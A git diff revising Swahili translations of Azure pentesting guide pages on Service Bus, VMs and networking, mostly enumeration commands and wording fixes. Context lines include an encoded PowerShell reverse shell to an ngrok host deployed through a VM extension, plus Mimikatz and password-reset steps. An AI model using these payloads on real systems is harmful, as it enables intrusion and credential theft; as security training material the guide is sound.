- **Auto-Forwarding**: Inahamisha ujumbe kati ya foleni au mada katika namespace moja.
|
||||
- **Dead-Lettering**: Inakamata ujumbe ambao hauwezi kuwasilishwa kwa ajili ya mapitio.
|
||||
- **Scheduled Delivery**: Inachelewesha usindikaji wa ujumbe kwa kazi za baadaye.
|
||||
- **Message Deferral**: Inachelewesha urejeleaji wa ujumbe hadi iwe tayari.
|
||||
- **Message Deferral**: Inachelewesha urejeshaji wa ujumbe hadi iwe tayari.
|
||||
- **Transactions**: Inakusanya operesheni katika utekelezaji wa atomiki.
|
||||
- **Filters & Actions**: Inatumia sheria kuchuja au kuongeza maelezo kwenye ujumbe.
|
||||
- **Auto-Delete on Idle**: Inafuta foleni baada ya kutokuwepo kwa shughuli (min: dakika 5).
|
||||
@@ -35,7 +35,7 @@ Baadhi ya vipengele vya juu ni:
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
Sera za SAS zinafafanua ruhusa za ufikiaji kwa vitu vya Azure Service Bus namespace (Muhimu Zaidi), foleni na mada. Kila sera ina vipengele vifuatavyo:
|
||||
Sera za SAS zinaelezea ruhusa za ufikiaji kwa vitu vya Azure Service Bus namespace (Muhimu Zaidi), foleni na mada. Kila sera ina vipengele vifuatavyo:
|
||||
|
||||
- **Permissions**: Sanduku za kuangalia kubaini viwango vya ufikiaji:
|
||||
- Manage: Inatoa udhibiti kamili juu ya chombo, ikiwa ni pamoja na usimamizi wa usanidi na ruhusa.
|
||||
@@ -51,9 +51,8 @@ sku, sheria ya uthibitishaji,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
### Kuinua Haki
|
||||
@@ -145,10 +141,10 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
|
||||
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## Taarifa za Msingi za VMs
|
||||
|
||||
Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati wowote** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama vile mitandao ya virtual, uhifadhi, na zana za usalama.
|
||||
Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati wowote** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao ya virtual, uhifadhi, na zana za usalama.
|
||||
|
||||
### Mipangilio ya Usalama
|
||||
|
||||
@@ -28,7 +28,7 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
- **Hakuna**: Kimsingi inafungua kila bandari
|
||||
- **Msingi**: Inaruhusu kufungua kwa urahisi bandari za ndani HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Juu**: Chagua kikundi cha usalama
|
||||
- **Nakala**: Inawezekana kuwezesha **Msingi** nakala (moja kwa siku) na **Imara** (mara nyingi kwa siku)
|
||||
- **Nakala**: Inawezekana kuwezesha **Kawaida** nakala (moja kwa siku) na **Imara** (mara nyingi kwa siku)
|
||||
- **Chaguzi za uratibu wa patch**: Hii inaruhusu kutekeleza patch kiotomatiki katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Sheria za msingi:
|
||||
- Asilimia ya CPU ni kubwa kuliko 80%
|
||||
@@ -38,9 +38,9 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
- Mtandao kwa Jumla ni mkubwa kuliko 500GB
|
||||
- Mtandao wa Nje kwa Jumla ni mkubwa kuliko 200GB
|
||||
- VmAvailabilityMetric ni chini ya 1
|
||||
- **Kikaguzi cha Afya**: Kwa kawaida inakagua itifaki ya HTTP katika bandari 80
|
||||
- **Kikaguzi cha Afya**: Kwa kawaida inakagua itifaki ya HTTP kwenye bandari 80
|
||||
- **Locks**: Inaruhusu kufunga VM ili iweze kusomwa tu (**ReadOnly** lock) au inaweza kusomwa na kusasishwa lakini si kufutwa (**CanNotDelete** lock).
|
||||
- Rasilimali nyingi zinazohusiana na VM **pia zinaunga mkono locks** kama vile diski, picha za snapshot...
|
||||
- Rasilimali nyingi zinazohusiana na VM **pia zinaunga mkono locks** kama diski, picha za snapshot...
|
||||
- Locks zinaweza pia kutumika katika **kikundi cha rasilimali na viwango vya usajili**
|
||||
|
||||
## Diski & picha za snapshot
|
||||
@@ -77,7 +77,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## Picha, Picha za Galeria & Pointi za Kurejesha
|
||||
|
||||
Picha ya **VM** ni kiolezo kinachojumuisha mfumo wa uendeshaji, mipangilio ya programu na mfumo wa faili unaohitajika ili **kuunda mashine mpya ya virtual (VM)**. Tofauti kati ya picha na snapshot ya diski ni kwamba snapshot ya diski ni nakala ya kusoma tu, ya wakati mmoja ya diski moja inayosimamiwa, inayotumika hasa kwa ajili ya akiba au kutatua matatizo, wakati picha inaweza kuwa na **diski nyingi na imeundwa kutumikia kama kiolezo cha kuunda VMs mpya**.\
|
||||
Picha zinaweza kusimamiwa katika **sehemu ya Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya iwe ya umma.
|
||||
Picha zinaweza kusimamiwa katika **sehemu ya Picha** ya Azure au ndani ya **galeria za kompyuta za Azure** ambazo zinaruhusu kuunda **matoleo** na **kushiriki** picha hiyo kati ya wapangaji tofauti au hata kuifanya kuwa ya umma.
|
||||
|
||||
Pointi ya **kurejesha** inahifadhi usanidi wa VM na **snapshot za wakati mmoja** zinazofanana na programu za **diski zote zinazosimamiwa** zilizounganishwa na VM. Inahusiana na VM na kusudi lake ni kuwa na uwezo wa kurejesha VM hiyo jinsi ilivyokuwa katika wakati huo maalum.
|
||||
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inajirudia mizigo** inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka kwenye tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
|
||||
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inaiga mizigo** inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion inaruhusu ufikiaji salama na usio na mshono wa **Remote Desktop Protocol (RDP)** na **Secure Shell (SSH)** kwa mashine zako za virtual (VMs) moja kwa moja kupitia Azure Portal au kupitia sanduku la jump. Kwa **kuondoa hitaji la anwani za IP za umma** kwenye VMs zako.
|
||||
|
||||
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet inayoihitaji kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua bandari za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
|
||||
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet ambayo inahitaji kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua port za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
|
||||
|
||||
Ili orodhesha Hosts zote za Azure Bastion katika usajili wako na kuungana na VMs kupitia hizo, unaweza kutumia amri zifuatazo:
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadata
|
||||
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu mifano ya mashine za virtual zinazotembea** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama vile SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu kuendesha mifano ya mashine za virtual** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
|
||||
Zaidi ya hayo, ili kuwasiliana na mwisho wa metadata, ombi la HTTP lazima liwe na kichwa **`Metadata: true`** na halipaswi kuwa na kichwa **`X-Forwarded-For`**.
|
||||
|
||||
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
|
||||
# List all available run commands for virtual machines
|
||||
az vm run-command list --output table
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
# Get readable VMs
|
||||
Get-AzVM | fl
|
||||
@@ -427,17 +432,20 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Utekelezaji wa Msimbo katika VMs
|
||||
|
||||
### Upanuzi wa VM
|
||||
### Nyongeza za VM
|
||||
|
||||
Upanuzi wa Azure VM ni programu ndogo zinazotoa **mipangilio ya baada ya kutekeleza** na kazi za automatisering kwenye mashine za virtual za Azure (VMs).
|
||||
Nyongeza za Azure VM ni programu ndogo zinazotoa **mipangilio baada ya kupelekwa** na kazi za automatisering kwenye mashine za virtual za Azure (VMs).
|
||||
|
||||
Hii itaruhusu **kutekeleza msimbo wowote ndani ya VMs**.
|
||||
|
||||
Ruhusa inayohitajika ni **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
Inawezekana kuorodhesha upanuzi wote wanaopatikana kwa:
|
||||
Inawezekana kuorodhesha nyongeza zote zinazopatikana kwa:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
@@ -509,7 +517,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Tekelea shell ya kurudi kutoka kwa faili
|
||||
- Tekeleza shell ya kinyume kutoka kwa faili
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -539,7 +547,7 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa halipo) la watumiaji ndani ya Windows VMs.
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa haipo) ya watumiaji ndani ya Windows VMs.
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -637,7 +645,7 @@ Ruhusa zinazohitajika ni:
|
||||
- `Microsoft.Network/networkInterfaces/join/action`
|
||||
- `Microsoft.Compute/disks/write`
|
||||
|
||||
Mfano wa unyakuzi wa kutekeleza amri zisizo za kawaida:
|
||||
Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -731,7 +739,7 @@ Inawezekana kupitisha data fulani kwa VM ambayo itahifadhiwa katika njia zinazot
|
||||
- Katika **Linux**, ilihifadhiwa katika `/var/lib/waagent/ovf-env.xml` na sasa inahifadhiwa katika `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Haipangi data ya kawaida kwa default, picha maalum yenye data iliyoanzishwa inahitajika
|
||||
- **cloud-init:** Kwa default inachakata data ya kawaida na data hii inaweza kuwa katika [**format mbalimbali**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Inaweza kutekeleza script kwa urahisi kwa kutuma tu script katika data ya kawaida.
|
||||
- Nilijaribu kwamba zote Ubuntu na Debian zinaweza kutekeleza script unayoweka hapa.
|
||||
- Nilijaribu kwamba zote Ubuntu na Debian zinafanya script uliyoweka hapa.
|
||||
- Pia si lazima kuwezesha data ya mtumiaji ili hii itekelezwe.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@@ -808,7 +816,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
../../az-persistence/az-vms-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
|
||||
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
|
||||
|
||||
@@ -12,7 +12,7 @@ Zaidi ya hayo, inawezekana **connect** VNets na VNets nyingine na mitandao ya nd
|
||||
Azure Virtual Network (VNet) ni uwakilishi wa mtandao wako mwenyewe katika wingu, ukitoa **logical isolation** ndani ya mazingira ya Azure yaliyotengwa kwa ajili ya usajili wako. VNets zinakuruhusu kuandaa na kusimamia mitandao ya kibinafsi ya virtual (VPNs) katika Azure, zikihifadhi rasilimali kama Mashine za Virtual (VMs), hifadhidata, na huduma za programu. Zinatoa **full control over network settings**, ikiwa ni pamoja na anuwai za anwani za IP, uundaji wa subnets, meza za njia, na lango za mtandao.
|
||||
|
||||
**Subnets** ni sehemu ndogo ndani ya VNet, zilizofafanuliwa na **IP address ranges** maalum. Kwa kugawanya VNet katika subnets nyingi, unaweza kuandaa na kulinda rasilimali kulingana na usanifu wa mtandao wako.\
|
||||
Kwa default, subnets zote ndani ya Azure Virtual Network (VNet) **zinaweza kuwasiliana na kila mmoja** bila vizuizi vyovyote.
|
||||
Kwa kawaida, subnets zote ndani ya Azure Virtual Network (VNet) **zinaweza kuwasiliana na kila mmoja** bila vizuizi vyovyote.
|
||||
|
||||
**Example:**
|
||||
|
||||
@@ -95,15 +95,16 @@ Azure Firewall ni **huduma ya usalama wa mtandao inayosimamiwa** katika Azure in
|
||||
|
||||
Inapatikana katika SKUs tatu—**Msingi**, **Kawaida**, na **Kitaalamu**, kila moja imeandaliwa kwa mahitaji maalum ya wateja:
|
||||
|
||||
| **Matumizi Yanayopendekezwa** | Biashara Ndogo/Kati (SMBs) zenye mahitaji madogo | Matumizi ya kawaida ya biashara, uchujaji wa Tabaka 3–7 | Mazingira yenye hisia kali (mfano, usindikaji wa malipo) |
|
||||
| Kigezo/Feature | Chaguo 1 | Chaguo 2 | Chaguo 3 |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Utendaji** | Hadi 250 Mbps kupitia | Hadi 30 Gbps kupitia | Hadi 100 Gbps kupitia |
|
||||
| **Ujasusi wa Hatari** | Arifa pekee | Arifa na kuzuia (IP/domeni mbaya) | Arifa na kuzuia (ujasusi wa hatari wa juu) |
|
||||
| **Uchujaji wa L3–L7** | Uchujaji wa msingi | Uchujaji wenye hali kati ya protokali | Uchujaji wenye hali na ukaguzi wa juu |
|
||||
| **Ulinzi wa Hatari wa Juu** | Haipatikani | Uchujaji unaotegemea ujasusi wa hatari | Inajumuisha Mfumo wa Kugundua na Kuzuia Uvamizi (IDPS) |
|
||||
| **Ukaguzi wa TLS** | Haipatikani | Haipatikani | Inasaidia kumaliza TLS ya kuingia/kuondoka |
|
||||
| **Upatikanaji** | Backend iliyowekwa (VM 2) | Autoscaling | Autoscaling |
|
||||
| **Urahisi wa Usimamizi** | Mifumo ya msingi | Inasimamiwa kupitia Meneja wa Firewall | Inasimamiwa kupitia Meneja wa Firewall |
|
||||
| **Matumizi Yanayopendekezwa** | Biashara Ndogo/Kati (SMBs) zenye mahitaji madogo | Matumizi ya kawaida ya biashara, uchujaji wa Tabaka 3–7 | Mazingira yenye nyeti sana (mfano, usindikaji wa malipo) |
|
||||
| **Utendaji** | Hadi 250 Mbps kupitia | Hadi 30 Gbps kupitia | Hadi 100 Gbps kupitia |
|
||||
| **Intelligence ya Hatari** | Arifa pekee | Arifa na kuzuia (IP/domeni mbaya) | Arifa na kuzuia (intelligence ya hatari ya juu) |
|
||||
| **Uchujaji wa L3–L7** | Uchujaji wa msingi | Uchujaji wenye hali kati ya protokali | Uchujaji wenye hali na ukaguzi wa juu |
|
||||
| **Ulinzi wa Hatari wa Juu** | Haipatikani | Uchujaji unaotegemea intelligence ya hatari | Inajumuisha Mfumo wa Kugundua na Kuzuia Uvamizi (IDPS) |
|
||||
| **Ukaguzi wa TLS** | Haipatikani | Haipatikani | Inasaidia kumaliza TLS ya kuingia/kuondoka |
|
||||
| **Upatikanaji** | Backend iliyowekwa (VM 2) | Autoscaling | Autoscaling |
|
||||
| **Urahisi wa Usimamizi** | Mifumo ya msingi | Inasimamiwa kupitia Meneja wa Firewall | Inasimamiwa kupitia Meneja wa Firewall |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -142,9 +143,9 @@ Get-AzFirewall
|
||||
|
||||
## Azure Route Tables
|
||||
|
||||
Azure **Route Tables** zinatumika kudhibiti usafiri wa mtandao ndani ya subnet. Zinabainisha sheria ambazo zinaeleza jinsi pakiti zinapaswa kupelekwa, iwe kwa rasilimali za Azure, mtandao, au hatua maalum kama vile Kifaa cha Virtual au Azure Firewall. Unaweza kuunganisha meza ya njia na **subnet**, na rasilimali zote ndani ya subnet hiyo zitafuata njia zilizomo kwenye meza.
|
||||
Azure **Route Tables** zinatumika kudhibiti mwelekeo wa trafiki ya mtandao ndani ya subnet. Zinabainisha sheria ambazo zinaeleza jinsi pakiti zinapaswa kupelekwa, iwe kwa rasilimali za Azure, mtandao, au hatua maalum kama vile Kifaa cha Virtual au Azure Firewall. Unaweza kuunganisha meza ya mwelekeo na **subnet**, na rasilimali zote ndani ya subnet hiyo zitafuata mwelekeo katika meza.
|
||||
|
||||
**Mfano:** Ikiwa subnet ina rasilimali ambazo zinahitaji kuelekeza trafiki ya nje kupitia Kifaa cha Virtual cha Mtandao (NVA) kwa ukaguzi, unaweza kuunda **njia** katika meza ya njia ili kuelekeza trafiki yote (e.g., `0.0.0.0/0`) kwa anwani ya IP ya kibinafsi ya NVA kama hatua inayofuata.
|
||||
**Mfano:** Ikiwa subnet ina rasilimali ambazo zinahitaji kuelekeza trafiki ya nje kupitia Kifaa cha Virtual cha Mtandao (NVA) kwa ukaguzi, unaweza kuunda **mwelekeo** katika meza ya mwelekeo ili kuelekeza trafiki yote (e.g., `0.0.0.0/0`) kwa anwani ya IP ya kibinafsi ya NVA kama hatua inayofuata.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -171,7 +172,7 @@ Get-AzRouteTable
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link ni huduma katika Azure ambayo **inawawezesha ufikiaji wa kibinafsi kwa huduma za Azure** kwa kuhakikisha kwamba **trafiki kati ya mtandao wako wa Azure wa virtual (VNet) na huduma inasafiri kabisa ndani ya mtandao wa msingi wa Microsoft Azure**. Inaleta huduma hiyo moja kwa moja kwenye VNet yako. Mpangilio huu unaboresha usalama kwa kutokuweka data wazi kwa mtandao wa umma.
|
||||
Azure Private Link ni huduma katika Azure ambayo **inawezesha ufikiaji wa kibinafsi kwa huduma za Azure** kwa kuhakikisha kwamba **trafiki kati ya mtandao wako wa Azure wa virtual (VNet) na huduma inasafiri kabisa ndani ya mtandao wa msingi wa Microsoft Azure**. Inaleta huduma hiyo moja kwa moja ndani ya VNet yako. Mpangilio huu unaboresha usalama kwa kutokuweka data wazi kwa mtandao wa umma.
|
||||
|
||||
Private Link inaweza kutumika na huduma mbalimbali za Azure, kama Azure Storage, Azure SQL Database, na huduma za kawaida zinazoshirikiwa kupitia Private Link. Inatoa njia salama ya kutumia huduma kutoka ndani ya VNet yako mwenyewe au hata kutoka kwa usajili tofauti wa Azure.
|
||||
|
||||
@@ -211,7 +212,7 @@ Azure Service Endpoints huongeza nafasi ya anwani ya faragha ya mtandao wako wa
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Kwa mfano, akaunti ya **Azure Storage** kwa kawaida inapatikana kupitia intaneti ya umma. Kwa kuwezesha **service endpoint kwa Azure Storage ndani ya VNet yako**, unaweza kuhakikisha kwamba ni trafiki pekee kutoka VNet yako inayoweza kufikia akaunti ya uhifadhi. Kisha, moto wa akaunti ya uhifadhi unaweza kuwekewa mipangilio ili kukubali trafiki tu kutoka VNet yako.
|
||||
Kwa mfano, akaunti ya **Azure Storage** kwa kawaida inapatikana kupitia intaneti ya umma. Kwa kuwezesha **service endpoint kwa Azure Storage ndani ya VNet yako**, unaweza kuhakikisha kwamba ni trafiki pekee kutoka VNet yako inayoweza kufikia akaunti ya hifadhi. Kisha, moto wa akaunti ya hifadhi unaweza kuwekewa mipangilio ili kukubali trafiki tu kutoka VNet yako.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -253,22 +254,22 @@ Microsoft inapendekeza kutumia Private Links katika [**docs**](https://learn.mic
|
||||
**Private Links:**
|
||||
|
||||
- Private Link inachora huduma za Azure ndani ya VNet yako kupitia endpoint ya kibinafsi, ambayo ni kiunganishi cha mtandao chenye anwani ya IP ya kibinafsi ndani ya VNet yako.
|
||||
- Huduma ya Azure inapatikana kwa kutumia anwani hii ya IP ya kibinafsi, ikifanya ionekane kama sehemu ya mtandao wako.
|
||||
- Huduma zilizounganishwa kupitia Private Link zinaweza kupatikana tu kutoka kwa VNet yako au mitandao iliyounganishwa; hakuna ufikiaji wa intaneti ya umma kwa huduma hiyo.
|
||||
- Inaruhusu muunganisho salama kwa huduma za Azure au huduma zako binafsi zinazohostiwa katika Azure, pamoja na muunganisho kwa huduma zinazoshirikiwa na wengine.
|
||||
- Huduma ya Azure inafikiwa kwa kutumia anwani hii ya IP ya kibinafsi, ikifanya ionekane kama sehemu ya mtandao wako.
|
||||
- Huduma zilizounganishwa kupitia Private Link zinaweza kufikiwa tu kutoka kwa VNet yako au mitandao iliyounganishwa; hakuna ufikiaji wa intaneti ya umma kwa huduma hiyo.
|
||||
